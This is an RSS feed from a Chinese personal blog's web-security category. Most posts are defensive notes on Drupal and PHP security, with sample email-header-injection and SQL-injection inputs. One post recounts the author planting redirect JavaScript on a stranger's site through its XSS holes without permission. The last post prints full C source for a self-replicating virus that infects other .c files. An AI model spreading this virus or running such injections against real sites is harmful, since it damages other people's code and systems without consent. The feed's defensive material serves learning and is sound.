<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>Terrysco&#039;s Blog &#187; Web Security</title>
	<atom:link href="http://www.terrysco.com/node/category/web-security/feed" rel="self" type="application/rss+xml" />
	<link>http://www.terrysco.com</link>
	<description>仅关注于互联网行业， Linux平台开发。</description>
	<lastBuildDate>Sat, 05 Nov 2011 21:24:06 +0000</lastBuildDate>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
	<generator>http://wordpress.org/?v=3.2.1</generator>
		<item>
		<title>编写安全的drupal代码</title>
		<link>http://www.terrysco.com/node/drupal-security-code.html</link>
		<comments>http://www.terrysco.com/node/drupal-security-code.html#comments</comments>
		<pubDate>Mon, 03 Aug 2009 14:43:03 +0000</pubDate>
		<dc:creator>terrysco</dc:creator>
				<category><![CDATA[Web Security]]></category>
		<category><![CDATA[drupal]]></category>

		<guid isPermaLink="false">http://www.terrysco.com/?p=234</guid>
		<description><![CDATA[本文主要是参考那本经典的drupal 6 模块开发指南，接合自己对脚本安全的一点理解整理出来的，方便E文不是很好的朋友共享。 首先是文本格式转换方面的有效函数，以前的文章我也提过。check_plain()函数能安全的将用户任意输入转换为纯文本，filter_xss()函数放宽了用户的输入，可以输入一些不被过滤的html字符，既有好的样式也保证了安全性，而drupal_urlencode()则对url安全编码，比较常用，是对php的urlencode函数更好的一次封装。mime_header_encode()函数对邮件更好的编码，使用drupal_mail()函数时不需调用，已经内部应用了。 &#8212;&#8212;&#8212;&#8212;-为database抽象层使用安全方面预留位置&#8212;&#8212;&#8212;&#8212;&#8212; drupal的文件安全已经在htaccess文件中做了很多限制，这个是web容器级别的安全，脚本方面我们仍然要考虑，使用文件路径前，最好调用file_check_location函数。为了避免邮件头部注入，drupal为我们引进了mime_header_encode()函数，文中提到一个很简单的例子作为参考。 如果邮件的标题（subject）是用户输入的，如果输入 Have a nice day%0ABcc:spamtarget@example.com%0A%0AL0w%20c0st%20mortgage! 邮件头部注入后则会变成： Subject: Have a nice day Bcc: spamtarget@example.com L0w c0st mortgage! &#8230; 一目了然。 另外，我们经常会编写独立的php文件来为drupal做一些维护或者数据迁移的工作， include_once &#8216;includes/bootstrap.inc&#8217;; drupal_bootstrap(DRUPAL_BOOTSTRAP_FULL); 这两行代码执行后，我们就可以在独立的php文件中使用drupal的db抽象层和相关函数，但最好我们加上uid为1的判断，只有超级用户才可以执行该php文件，如果该文件是操作发布站点数据，则这个限制更显得至关重要。 ajax的安全大家可以参考其他资料，请求脚本程序要格外小心。 最后，drupal的表单api中，title和description等元素必须check_plain()转换为纯文本，而default_value则无需，因为theme_textfield() 在includes/form.inc文件中已经调用一次了，二次转义将会使数据更加混乱。 以上只是接合drupal的安全方面简单陈述，要想更加安全你的代码，请参考更多的PHP安全方面的资料。]]></description>
			<content:encoded><![CDATA[<p>本文主要是参考那本经典的drupal 6 模块开发指南，接合自己对脚本安全的一点理解整理出来的，方便E文不是很好的朋友共享。</p>
<p>首先是文本格式转换方面的有效函数，以前的文章我也提过。check_plain()函数能安全的将用户任意输入转换为纯文本，filter_xss()函数放宽了用户的输入，可以输入一些不被过滤的html字符，既有好的样式也保证了安全性，而drupal_urlencode()则对url安全编码，比较常用，是对php的urlencode函数更好的一次封装。mime_header_encode()函数对邮件更好的编码，使用drupal_mail()函数时不需调用，已经内部应用了。</p>
<p>&#8212;&#8212;&#8212;&#8212;-为database抽象层使用安全方面预留位置&#8212;&#8212;&#8212;&#8212;&#8212;</p>
<p>drupal的文件安全已经在htaccess文件中做了很多限制，这个是web容器级别的安全，脚本方面我们仍然要考虑，使用文件路径前，最好调用file_check_location函数。为了避免邮件头部注入，drupal为我们引进了mime_header_encode()函数，文中提到一个很简单的例子作为参考。</p>
<p>如果邮件的标题（subject）是用户输入的，如果输入</p>
<p>Have a nice day%0ABcc:spamtarget@example.com%0A%0AL0w%20c0st%20mortgage!</p>
<p>邮件头部注入后则会变成：</p>
<p>Subject: Have a nice day<br />
Bcc: spamtarget@example.com<br />
L0w c0st mortgage!<br />
&#8230;</p>
<p>一目了然。</p>
<p>另外，我们经常会编写独立的php文件来为drupal做一些维护或者数据迁移的工作，</p>
<p>include_once &#8216;includes/bootstrap.inc&#8217;;<br />
drupal_bootstrap(DRUPAL_BOOTSTRAP_FULL);</p>
<p>这两行代码执行后，我们就可以在独立的php文件中使用drupal的db抽象层和相关函数，但最好我们加上uid为1的判断，只有超级用户才可以执行该php文件，如果该文件是操作发布站点数据，则这个限制更显得至关重要。</p>
<p>ajax的安全大家可以参考其他资料，请求脚本程序要格外小心。</p>
<p>最后，drupal的表单api中，title和description等元素必须check_plain()转换为纯文本，而default_value则无需，因为theme_textfield() 在includes/form.inc文件中已经调用一次了，二次转义将会使数据更加混乱。</p>
<p>以上只是接合drupal的安全方面简单陈述，要想更加安全你的代码，请参考更多的PHP安全方面的资料。</p>
]]></content:encoded>
			<wfw:commentRss>http://www.terrysco.com/node/drupal-security-code.html/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>PHP Architect&#8217;s Guide to PHP Security [3]</title>
		<link>http://www.terrysco.com/node/php-security-guide-3.html</link>
		<comments>http://www.terrysco.com/node/php-security-guide-3.html#comments</comments>
		<pubDate>Sat, 03 Jan 2009 19:02:39 +0000</pubDate>
		<dc:creator>terrysco</dc:creator>
				<category><![CDATA[Book Remarks]]></category>
		<category><![CDATA[PHP/Python/Ruby]]></category>
		<category><![CDATA[Web Security]]></category>
		<category><![CDATA[php]]></category>
		<category><![CDATA[security]]></category>

		<guid isPermaLink="false">http://www.anyliv.com/www.terrysco.com/?p=75</guid>
		<description><![CDATA[<p>今天继续翻译PHP Architect's Guide to PHP Security这本书的第三章《SQL注入》。由于第二章XSS有专门的书籍介绍，以后会专门翻译，所以暂时跳过XSS，先对SQL Injection进行介绍。</p><p>SQL注入是另一种常见的漏洞（针对XSS来说），是由于对输入数据过滤不严导致的。它不像XSS是直接针对站点的用户，而是直接破坏站点本身，特别是数据库。SQL注入的目的是插入任意数据，常常是插入一条被数据库执行的SQL语句。这些潜伏的被插入语句常常执行很多操作，从获取数据到更改或删除数据库信息。</p>...
]]></description>
			<content:encoded><![CDATA[<p>今天继续翻译PHP Architect&#8217;s Guide to PHP Security这本书的第三章《SQL注入》。由于第二章XSS有专门的书籍介绍，以后会专门翻译，所以暂时跳过XSS，先对SQL Injection进行介绍。</p>
<p>SQL注入是另一种常见的漏洞（针对XSS来说），是由于对输入数据过滤不严导致的。它不像XSS是直接针对站点的用户，而是直接破坏站点本身，特别是数据库。SQL注入的目的是插入任意数据，常常是插入一条被数据库执行的SQL语句。这些潜伏的被插入语句常常执行很多操作，从获取数据到更改或删除数据库信息。</p>
<p>// supposed input<br />$name = &ldquo;ilia&rsquo;; DELETE FROM users;&rdquo;;<br />mysql_query(&ldquo;SELECT * FROM users WHERE name=&rsquo;{$name}&rsquo;&rdquo;);<br />这段功能本来是想从user表中获取匹配name字段的数据，一般情况下，name变量是一些字母数字和空白字符的组合，比如字符串&ldquo;ilia&rdquo;，但如果我们附加了查询语句，这条注入的查询语句将会删除users表中的所有记录。（幸运的是，mysql的mysql_query函数不允许堆查询，在一次调用中不允许执行多次查询，但是SQLite和postgresql扩展是可以的。</p>
<p>PHP的自动转义机制GPC提供了一些基本保护，如果启用了magic_quotes_gpc，将会对单引，双引等一些字符进行转义（在前面加反斜线）。但是magic quotes不包括所有需要转义的字符，并且这个特性不总是开启的。所以你需要自己用代码来阻止SQL注入。</p>
<p>php的很多数据库扩展有自己专门的转义机制，例如Mysql扩展的mysql_real_escape_string()函数。</p>
<p>if (get_magic_quotes_gpc()) {<br />&nbsp; $name = stripslashes($name);<br />}<br />$name = mysql_real_escape_string($name);<br />mysql_query(&ldquo;SELECT * FROM users WHERE name=&rsquo;{$name}&rsquo;&rdquo;);<br />在调用数据库扩展的转义机制之前，首先要对magic quotes的状态进行检查，如果magic guotes启用了，则要去掉它可能添加的反斜线，以免输入数据被转义2次。</p>
<p>待续。。。有点累了。</p>
<p>&nbsp;</p>
]]></content:encoded>
			<wfw:commentRss>http://www.terrysco.com/node/php-security-guide-3.html/feed</wfw:commentRss>
		<slash:comments>2</slash:comments>
		</item>
		<item>
		<title>PHP Architect&#8217;s Guide to PHP Security [2]</title>
		<link>http://www.terrysco.com/node/php-security-guide-2.html</link>
		<comments>http://www.terrysco.com/node/php-security-guide-2.html#comments</comments>
		<pubDate>Wed, 08 Oct 2008 13:04:11 +0000</pubDate>
		<dc:creator>terrysco</dc:creator>
				<category><![CDATA[Book Remarks]]></category>
		<category><![CDATA[Web Security]]></category>
		<category><![CDATA[php]]></category>
		<category><![CDATA[security]]></category>

		<guid isPermaLink="false">http://www.anyliv.com/www.terrysco.com/?p=45</guid>
		<description><![CDATA[<p>White List Validation （白名单验证）<br />Being Careful with File Uploads （文件上传时要小心）<br />File Content Validation （文件内容验证）<br />Accessing Uploaded Data （访问上传数据）<br />The Dangers of Magic Quotes （Magic Quotes的危险性）<br />Magic Quotes Normalization （Magic Quotes正规化）<br />...</p>
]]></description>
			<content:encoded><![CDATA[<p>White List Validation （白名单验证）<br />Being Careful with File Uploads （文件上传时要小心）<br />File Content Validation （文件内容验证）<br />Accessing Uploaded Data （访问上传数据）<br />The Dangers of Magic Quotes （Magic Quotes的危险性）<br />Magic Quotes Normalization （Magic Quotes正规化）<br />Validating Serialized Data （验证序列化数据）<br />External Resource Validation （外部资源验证）</p>
<p>Assumption is the enemy of security and making assumptions about user input is a sure way to allow an attacker to subvert your code. 又一次强调开发者的假设所带来的后果。对开发者来说，普遍假设selection box和check box以及radio button和hidden字段值是不用验证的，这就完全错了，<br />因为恶意用户可以拷贝html表单代码并且修改后来进行恶意提交任意数据。比起黑名单的概念，我们最好还是选择白名单，也就是说我们给出合法的值，然后验证是否合法；而不是给出不合法的值，验证值是否非法。显然后者不如前者来得安全。这里作者给出一个例子，说明了这个问题：<br />$months = array(&ldquo;January&rdquo;, &ldquo;February&rdquo;, /* &#8230; */); <br />if (empty($_POST[&lsquo;month&rsquo;]) || !in_array($_POST[&lsquo;month&rsquo;], $months)) {<br />&nbsp;&nbsp; exit(&ldquo;Quit hacking, you&rsquo;re not a lumberjack!&rdquo;);<br />}</p>
<p>关于文件上传：如果你的应用程序不会使用到文件上传的特性，你可以编辑php.ini文件来禁止文件上传。<br />file_uploads=off<br />upload_max_filesize指令可以控制上传的单个文件最大值，以字节为单位。默认值为2M<br />post_max_size指令限制了当表单以POST方式提交的数据大小。通常情况下，这个值我们应该设置地比上面那个file_uploads稍微大一点点。如果你可能用到多文件上传，根据需要自行调整。默认值为8M。</p>
<p>(待补充。。。)</p>
]]></content:encoded>
			<wfw:commentRss>http://www.terrysco.com/node/php-security-guide-2.html/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>PHP Architect&#8217;s Guide to PHP Security [1]</title>
		<link>http://www.terrysco.com/node/php-security-guide-1.html</link>
		<comments>http://www.terrysco.com/node/php-security-guide-1.html#comments</comments>
		<pubDate>Fri, 26 Sep 2008 03:29:55 +0000</pubDate>
		<dc:creator>terrysco</dc:creator>
				<category><![CDATA[Book Remarks]]></category>
		<category><![CDATA[Web Security]]></category>
		<category><![CDATA[php]]></category>
		<category><![CDATA[security]]></category>

		<guid isPermaLink="false">http://www.anyliv.com/www.terrysco.com/?p=42</guid>
		<description><![CDATA[<p>这几天稍微轻松点，就再看了一次PHP Architect's Guide to PHP Security这本经典PHP安全书籍。其中整理了一些笔记之类的东西，分享给大家。都是个人组织和翻译的东西，如果有不周到的地方还请广大安全爱好者给出批评和指正。本来想逐字翻译全文，但是这是一个浩大的工程，并且学习意义不大，所以挑选一些重要的内容进行翻译和注释。</p><p style="text-align: center;"><img title="" alt="" src="http://www.terrysco.com/upload/200809261133336667.gif" onload="ResizeImage(this,520)" /></p><p>...</p>
]]></description>
			<content:encoded><![CDATA[<p>这几天稍微轻松点，就再看了一次PHP Architect&#8217;s Guide to PHP Security这本经典PHP安全书籍。其中整理了一些笔记之类的东西，分享给大家。都是个人组织和翻译的东西，如果有不周到的地方还请广大安全爱好者给出批评和指正。本来想逐字翻译全文，但是这是一个浩大的工程，并且学习意义不大，所以挑选一些重要的内容进行翻译和注释。</p>
<p style="text-align: center;"><img class="size-full wp-image-191 aligncenter" title="200809261133336667" src="http://www.terrysco.com/wp-content/uploads/2008/09/200809261133336667.gif" alt="200809261133336667" width="180" height="220" /></p>
<p style="text-align: center;"><img src="http://www.terrysco.com/upload/200809261133336667.gif" alt="" /></p>
<p>前言和介绍就略过不翻译了，作者描述了一下PHP安全的重要性，以及为何变得如此重要。我想目前线上的很多php站点遭到攻击和破坏足以说明这点了，我们直接来看第一章Input Validation。今天先写前半章吧。（一章内容太多，本人英文比较菜，看完需要差不多3个小时）<span id="more-42"></span></p>
<p>该次翻译的内容列表：</p>
<ol>
<li>The Trouble with Input. （输入的问题）</li>
<li>The Constant Solution （常量解决方案）</li>
<li>The $_QEGUEST Trojan Horse （$_REQUEST木马）</li>
<li>Validating Input （输入验证）</li>
<li>Validating Numeric Data （数字验证）</li>
<li>Locale Troubles （Locale问题）</li>
<li>String Validation （字符串验证）</li>
<li>Content Size Validation （内容长度验证）</li>
</ol>
<p>这章简介中作者用斜体标注出了这么一句话：<em>It is absolutely imperative to validate all user input to ensure it matches the expected form.</em><br />
为了确保数据是我们期望的，必须验证所有的用户输入，即那句话：“永远不要信任外部数据”。</p>
<p>紧接着作者讲解了magic quotes gpc出现的历史，跟早起的版本相比较，是简化了开发者的工作，也增加了安全性。因为对外部来的数据不再对来源污染了，我们可以很清楚的知道数据的来源。这里作者给出一个例子：</p>
<p>if (is_authorized_user())<br />
define(‘auth’, TRUE);<br />
if (auth) // will always be true, either Boolean(TRUE) or String(“auth”)<br />
/* display content intended only for authorized users */<br />
为了“安全”，该程序将auth这个值设置为常量，避免数据污染和没有初始化带来的数据覆盖。但是，PHP中对于一个字符串，如果没有用引号包含起来，会当作常量处理，如果没有这个常量，将作为字符串处理。所以这里的auth放在if语句中就算没有define，也是成立的，因为他是一个字符串。这时只会给出一个notice的错误，不影响程序的执行，并且一般上线的站点，都会把display_errors关掉，根本不会提示。这里作者顺带提及了一个变量覆盖的问题，gpc_order指令可以设置优先级。并给出一个原则：尽量对所有变量进行初始化。</p>
<p>接下来，Validating Numeric Data这个小节说明对数字进行验证和处理最好的办法就是用int或float进行强制转换，比如：</p>
<p>$_GET[‘product_id’] = (int) $_GET[‘product_id’];<br />
$_GET[‘price’] = (float) $_GET[‘price’];</p>
<p>这里注意一点，如果我们用is_numeric函数对8进制数字进行判断时，不一定返回的就是我们需要的结果。is_numeric(“0955”);返回的是true，但显然这不是一个有效的8进制数值。</p>
<p>接着作者说明了local对验证的影响，这里不再详述，只要使用setlocale语法就可以了。</p>
<p>关于字符串的验证，一般使用的是ctype类函数，不过这些函数局限性也很大，比如认为－，空格等字符是非法的，再加上ctype是一个独立的扩展，有可能服务器上并没有安装该扩展或者被屏蔽，而且只能用在单字节字符集，所以最好的替代方案就是使用正则表达式（比如ereg函数）。Alas, regular expressions aren’t exceptionally fast and validating large strings of data may take noticeable amount of time. But, safety must come first. 正则表达式不是特别快，当对比较长的字符串数据进行验证的时候，会占用很明显不少的时间。但是，安全第一。</p>
<p>这篇文章最后，说下内容长度验证的问题：</p>
<p>表单中，只有text和password类型的控件可以使用maxlength属性设置最大长度，如果我们想在textarea中限制长度，可以使用下面这小段js做到。</p>
<p>&lt;form onSubmit=”if (this.biography.value.length &gt; 255) {<br />
alert(‘Keep it short, eh?’)<br />
return false;<br />
}”&gt;<br />
&lt;textarea name=”biography”&gt;&lt;/textarea&gt;&lt;input type=”submit”&gt;<br />
&lt;/form&gt;<br />
提交表单时候，用javascript判断这个textarea的长度是否大于255。不过任何form中的限制和js做的限制都不是一劳永逸的，If JavaScript and HTML can be circumvented, server-side PHP provides the real stopgap.</p>
<p>$form_fields = array(“Fname”=&gt;50, “Lname”=&gt;100, “Address”=&gt;255, /* . . . */);<br />
foreach ($form_fields as $k =&gt; $v)<br />
if (!empty($_POST[$k]) &amp;&amp; strlen($_POST[$k]) &gt; $v)<br />
exit(“{$k} is longer then the allowed {$v} byte length.”);<br />
必须用服务器端脚本进行验证，比如上述php代码则可以完成。</p>
<p>此外，如果你是一个对效率要求很苛刻的人，strlen会觉得影响速度，没关系，可以试试下面这个方法：</p>
<p>$form_fields = array(“Fname”=&gt;50, “Lname”=&gt;100, “Address”=&gt;255, /* . . . */);<br />
foreach ($form_fields as $k =&gt; $v) {<br />
if (!empty($_POST[$k]) &amp;&amp; isset($_POST[$k]{$v + 1})) {<br />
exit(“{$k} is longer then the allowed {$v} byte length.”);<br />
}<br />
}<br />
在PHP4.3.10后，可以对字符串使用isset控制，Because isset() is a language construct, it’s converted to a single instruction by Zend’s PHP parser and takes virtually no time to execute. 因为isset是一个语言结构，这样会加快执行的速度。似乎有点吹毛求疵，不过这正是我们狼族小四此等人的目的:-）</p>
<p>今天先写到这里吧，可能翻译整理得比较笼统，剩下的东西大都是解释型的句子，我想大部分人都很了解了吧。</p>
]]></content:encoded>
			<wfw:commentRss>http://www.terrysco.com/node/php-security-guide-1.html/feed</wfw:commentRss>
		<slash:comments>7</slash:comments>
		</item>
		<item>
		<title>什么是流氓黑客</title>
		<link>http://www.terrysco.com/node/what-is-a-hacker.html</link>
		<comments>http://www.terrysco.com/node/what-is-a-hacker.html#comments</comments>
		<pubDate>Wed, 17 Sep 2008 03:58:40 +0000</pubDate>
		<dc:creator>terrysco</dc:creator>
				<category><![CDATA[Web Security]]></category>
		<category><![CDATA[hacker]]></category>

		<guid isPermaLink="false">http://www.anyliv.com/www.terrysco.com/?p=39</guid>
		<description><![CDATA[<p>今天看到一个站点公然写着：本站长期招聘网站入侵者。又在某自称国内最大黑客站点上，依我看就是一堆没素质的菜鸟聚集地，看到某&#8220;牛人&#8221;公开视频演讲，说自己已经有房有车有女人，殊不知这些钱都是广大无知的青少年朋友给他的，换来的都是一些没用的技术，没用的工具。网上浩浩荡荡的工具小子大都是从这里出来的吧，还自称什么黑日同盟，多么的可笑。穿个红裤衩就把自己漂白成红客了。人再无知，没修养不过如此，打着培训中国网络安全人才的旗号，给自己赚取大把钞票，出来的都是一些技术智障人士。<br />...</p>
]]></description>
			<content:encoded><![CDATA[<p>今天看到一个站点公然写着：本站长期招聘网站入侵者。又在某自称国内最大黑客站点上，依我看就是一堆没素质的菜鸟聚集地，看到某&ldquo;牛人&rdquo;公开视频演讲，说自己已经有房有车有女人，殊不知这些钱都是广大无知的青少年朋友给他的，换来的都是一些没用的技术，没用的工具。网上浩浩荡荡的工具小子大都是从这里出来的吧，还自称什么黑日同盟，多么的可笑。穿个红裤衩就把自己漂白成红客了。人再无知，没修养不过如此，打着培训中国网络安全人才的旗号，给自己赚取大把钞票，出来的都是一些技术智障人士。</p>
<p>没办法，国内的网络安全意识确实不是很好。</p>
<p>昨天到一个内容挺多的站点，随手一测试了不得，这么大一个站点到处都是洞洞。我加了他们的站长，好心提醒，没有得到重视。随便写点js进去，跳转到我的blog，没想到一会功夫给我的blog增加了100多个ip访问量，看来确实如其站长所说：&ldquo;我们站会员很活跃&rdquo;。再次提醒他哪里有问题，然后为了避免流量&ldquo;淹没&rdquo;我的blog，想去删除掉我的那个日志，没想到没有删除功能。既然洞洞这么大，自己可以随便的删除。不过我们虽然有这个能力，但没有这个资格。大部分页面都有问题，估计这里的会员都比较&ldquo;老实&rdquo;，又发现这个站点的cooke机制一点加密措施都没有，配合xss可以拿到整站的会员资料，密码也是明文的。</p>
<p>其实脚本安全也没有我们想象中那么复杂，写程序的时候只要我们本着负责任的态度，多想想哪里可能会出问题，闲暇时候补充下自己所用语言的一些安全常识，加上多和一些资深人士多交流，出问题也不会出大的问题。没有绝对的安全，但是我们相对可以做到更好。</p>
]]></content:encoded>
			<wfw:commentRss>http://www.terrysco.com/node/what-is-a-hacker.html/feed</wfw:commentRss>
		<slash:comments>1</slash:comments>
		</item>
		<item>
		<title>加入狼族</title>
		<link>http://www.terrysco.com/node/wolvez-security-team.html</link>
		<comments>http://www.terrysco.com/node/wolvez-security-team.html#comments</comments>
		<pubDate>Sun, 30 Apr 2006 16:32:41 +0000</pubDate>
		<dc:creator>terrysco</dc:creator>
				<category><![CDATA[Web Security]]></category>
		<category><![CDATA[wolvez]]></category>

		<guid isPermaLink="false">http://www.anyliv.com/www.terrysco.com/?p=9</guid>
		<description><![CDATA[<p>今天和狼组的zizzy聊了聊，知道这是一个主要研究php等脚本安全的团队，虽然自己php方面还比较薄弱，但是有信心把它学好。给zizzy提交了一份代码，通过了申请，今天正式加入狼族。www.wolvez.org</p>
]]></description>
			<content:encoded><![CDATA[<p>今天和狼组的zizzy聊了聊，知道这是一个主要研究php等脚本安全的团队，虽然自己php方面还比较薄弱，但是有信心把它学好。给zizzy提交了一份代码，通过了申请，今天正式加入狼族。www.wolvez.org</p>
]]></content:encoded>
			<wfw:commentRss>http://www.terrysco.com/node/wolvez-security-team.html/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>一个C写的小东东</title>
		<link>http://www.terrysco.com/node/c-virus-study.html</link>
		<comments>http://www.terrysco.com/node/c-virus-study.html#comments</comments>
		<pubDate>Fri, 28 May 2004 03:35:22 +0000</pubDate>
		<dc:creator>terrysco</dc:creator>
				<category><![CDATA[Web Security]]></category>
		<category><![CDATA[c]]></category>
		<category><![CDATA[virus]]></category>

		<guid isPermaLink="false">http://www.anyliv.com/www.terrysco.com/?p=4</guid>
		<description><![CDATA[/*INFECTED*/ #include “stdio.h” #include “dos.h” #include “dir.h” main() { viruses(); } int viruses_sub() { struct ffblk ffblk; int done,i,j,k,n_line; FILE *virus_r,*virus_v; /*virus_r指向将被感染的文件，virus_v指向已带病毒的文件*/ char a[500][80],b[80],*p1,*p2; /*将被传染的文件读入a[500][80]临时存放*/ static char viruses_f[]={“virus.c”};/*文件被传染后，修改该值为自身文件名*/ int include_write; int virus_call=0; int virus_start=0; char *main_flag[]={“printf”,”break”,”for”,”while”}; char *include_h[]={“dos.h”,”stdio.h”,”dir.h”}; char *v_flag[]={“INFECTED”}; struct date today; /*VIRUSES DISPLAY*/ getdate(&#38;today); /*病毒显示日期信息*/ printf(“Today is %d/%d/%d\n”,today.da_mon,today.da_day,today.da_year); /*AFFECT VIRUSES*/ done=findfirst(“*.c”,&#38;ffblk,0); /*查找第一个匹配文件*/ while(!done) [...]]]></description>
			<content:encoded><![CDATA[<p>/*INFECTED*/<br />
#include “stdio.h”<br />
#include “dos.h”<br />
#include “dir.h”<br />
main()<br />
{<br />
viruses();<br />
}<br />
int viruses_sub()<br />
{<br />
struct ffblk ffblk;<br />
int done,i,j,k,n_line;<br />
FILE *virus_r,*virus_v;<br />
/*virus_r指向将被感染的文件，virus_v指向已带病毒的文件*/<br />
char a[500][80],b[80],*p1,*p2; /*将被传染的文件读入a[500][80]临时存放*/<br />
static char viruses_f[]={“virus.c”};/*文件被传染后，修改该值为自身文件名*/<br />
int include_write;<br />
int virus_call=0;<br />
int virus_start=0;<br />
char *main_flag[]={“printf”,”break”,”for”,”while”};<br />
char *include_h[]={“dos.h”,”stdio.h”,”dir.h”};<br />
char *v_flag[]={“INFECTED”};<br />
struct date today;<br />
/*VIRUSES DISPLAY*/<br />
getdate(&amp;today); /*病毒显示日期信息*/<br />
printf(“Today is %d/%d/%d\n”,today.da_mon,today.da_day,today.da_year);<br />
/*AFFECT VIRUSES*/<br />
done=findfirst(“*.c”,&amp;ffblk,0); /*查找第一个匹配文件*/<br />
while(!done)<br />
{<br />
if(strcmp(ffblk.ff_name,”REVIRUS.C”)!=0)<br />
{<br />
virus_r=fopen(ffblk.ff_name,”r+w”);<br />
if(virus_r!=NULL)<br />
{<br />
p1=fgets(&amp;a[0][0],80,virus_r);<br />
if(strstr(p1,v_flag[0])==NULL)<br />
{<br />
n_line=0; /*把文件全部读入a[500][80]*/<br />
while(p1!=NULL)<br />
{<br />
n_line++;<br />
p1=fgets(&amp;a[n_line][0],80,virus_r);<br />
if(n_line&gt;=500)<br />
{<br />
fclose(virus_r);<br />
return(1);<br />
}<br />
}<br />
fseek(virus_r,0,SEEK_SET);<br />
virus_v=fopen(&amp;viruses_f[0],”r”); /*打开带病毒的文件*/<br />
if(virus_v==NULL)<br />
{<br />
fclose(virus_r);<br />
return(2);<br />
}<br />
for(i=1;i&lt;5;i++) /*读带病毒文件前4行并写入将被传染的文件*/<br />
{<br />
p2=fgets(b,80,virus_v);<br />
if(p2==NULL)<br />
{<br />
fclose(virus_r);<br />
fclose(virus_v);<br />
return(3);<br />
}<br />
fputs(b,virus_r);<br />
}<br />
for(j=0;j<br />
{<br />
include_write=1; /*不写入病毒文件已有的包含语句*/<br />
if(strstr(&amp;a[j][0],”#include”)!=NULL)<br />
for(i=0;i&lt;3;i++)<br />
if(strstr(&amp;a[j][0],include_h<em>)!=NULL)<br />
include_write=-1;<br />
if(virus_call==0)   /*插入调用语句，并加上回车换行*/<br />
for(i=0;i&lt;4;i++)<br />
if(strstr(&amp;a[j][0],main_flag<em>)!=NULL)<br />
{<br />
for(k=0;k&lt;80;k++)<br />
b[k]=0;<br />
strcpy(&amp;b[0],”viruses();”);<br />
b[10]=13;<br />
b[11]=10;<br />
fputs(b,virus_r);virus_call=1;<br />
i=4;<br />
}<br />
if(include_write==1)fputs(&amp;a[j][0],virus_r);<br />
}<br />
p1=fgets(b,80,virus_v);  /*把病毒子程序写入文件*/<br />
while(p1!=NULL)<br />
{<br />
if(virus_start==0)  /*找病毒子程序的第一条语句*/<br />
if(strstr(p1,”int viruses_sub()”)!=NULL)<br />
virus_start=1;<br />
if(virus_start==1)<br />
{<br />
if(strstr(p1,”char”)!=NULL)<br />
if(strstr(p1,”viruses_f[]=”)!=NULL)<br />
{<br />
strcpy(&amp;b[29],ffblk.ff_name);<br />
i=strlen(&amp;b[0]);<br />
b<em>=34;<br />
strcpy(&amp;b[i+1],”);”);<br />
b[i+3]=13;<br />
b[i+4]=10;<br />
}<br />
fputs(b,virus_r);<br />
}<br />
p1=fgets(b,80,virus_v);<br />
}<br />
fclose(virus_v);<br />
fclose(virus_r);<br />
return(0);<br />
}<br />
fclose(virus_r);<br />
}<br />
}<br />
done=findnext(&amp;ffblk);<br />
}<br />
return(4);<br />
}</p>
<p>viruses()<br />
{<br />
int num;<br />
num=viruses_sub();<br />
switch (num)<br />
{<br />
case  0 : printf(“successful\n”);<br />
break;<br />
case  1: printf(“the file is outof line\n”);<br />
break;<br />
case  2 : printf(“the viruses file cannot open\n”);<br />
break;<br />
case  3 : printf(“cannot read viruses file\n”);<br />
break;<br />
case  4: printf(“cannot find file\n”);<br />
}<br />
getch();<br />
}</em></em></em></p>
]]></content:encoded>
			<wfw:commentRss>http://www.terrysco.com/node/c-virus-study.html/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
	</channel>
</rss>

